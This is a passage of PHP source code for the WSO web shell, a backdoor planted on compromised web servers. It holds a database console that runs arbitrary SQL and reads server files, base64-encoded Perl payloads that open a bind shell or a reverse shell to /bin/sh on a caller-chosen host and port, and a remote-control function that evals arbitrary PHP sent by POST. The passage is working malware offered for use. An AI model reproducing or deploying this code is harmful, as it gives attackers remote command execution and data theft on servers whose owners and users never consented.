1390echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1391if(@$_POST['p1'] == 'select') {
1392$_POST['p1'] = 'query';
1393$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1394$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1395$num = $db->fetch();
1396$pages = ceil($num['n'] / 30);
1397echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1398echo " of $pages";
1399if($_POST['p3'] > 1)
1400echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1401if($_POST['p3'] < $pages)
1402echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1403$_POST['p3']--;
1404if($_POST['type']=='pgsql')
1405$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1406else
1407$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1408echo "<br><br>";
1409}
1410if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1411$db->query(@$_POST['p2']);
1412if($db->res !== false) {
1413$title = false;
1414echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1415$line = 1;
1416while($item = $db->fetch()) {
1417if(!$title) {
1418echo '<tr>';
1419foreach($item as $key => $value)
1420echo '<th>'.$key.'</th>';
1421reset($item);
1422$title=true;
1423echo '</tr><tr>';
1424$line = 2;
1425}
1426echo '<tr class="l'.$line.'">';
1427$line = $line==1?2:1;
1428foreach($item as $key => $value) {
1429if($value == null)
1430echo '<td><i>null</i></td>';
1431else
1432echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1433}
1434echo '</tr>';
1435}
1436echo '</table>';
1437} else {
1438echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1439}
1440}
1441echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1442if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1443echo htmlspecialchars($_POST['p2']);
1444echo "</textarea><br/><input type=submit value='Execute'>";
1445echo "</td></tr>";
1446}
1447echo "</table></form><br/>";
1448if($_POST['type']=='mysql') {
1449$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1450if($db->fetch())
1451echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1452}
1453if(@$_POST['p1'] == 'loadfile') {
1454$file = $db->loadFile($_POST['p2']);
1455echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1456}
1457} else {
1458echo htmlspecialchars($db->error());
1459}
1460echo '</div>';
1461wsoFooter();
1462}
1463function actionNetwork() {
1464wsoHeader();
1465$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1466$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1467echo "<h1>Network tools</h1><div class=content>
1468<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1469<span>Bind port to /bin/sh [perl]</span><br/>
1470Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1471</form>
1472<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1473<span>Back-connect [perl]</span><br/>
1474Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1475</form><br>";
1476if(isset($_POST['p1'])) {
1477function cf($f,$t) {
1478$w = @fopen($f,"w") or @function_exists('file_put_contents');
1479if($w){
1480@fwrite($w,@base64_decode($t));
1481@fclose($w);
1482}
1483}
1484if($_POST['p1'] == 'bpp') {
1485cf("/tmp/bp.pl",$bind_port_p);
1486$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1487sleep(1);
1488echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1489unlink("/tmp/bp.pl");
1490}
1491if($_POST['p1'] == 'bcp') {
1492cf("/tmp/bc.pl",$back_connect_p);
1493$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1494sleep(1);
1495echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1496unlink("/tmp/bc.pl");
1497}
1498}
1499echo '</div>';
1500wsoFooter();
1501}
1502function actionRC() {
1503if(!@$_POST['p1']) {
1504$a = array(
1505"uname" => php_uname(),
1506"php_version" => phpversion(),
1507"wso_version" => WSO_VERSION,
1508"safemode" => @ini_get('safe_mode')
1509);
1510echo serialize($a);
1511} else {
1512eval($_POST['p1']);
1513}
1514}
1515if( empty($_POST['a']) )
1516if(isset($default_action) && function_exists('action' . $default_action))
1517$_POST['a'] = $default_action;
1518else
1519$_POST['a'] = 'SecInfo';
1520if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1521call_user_func('action' . $_POST['a']);
1522exit;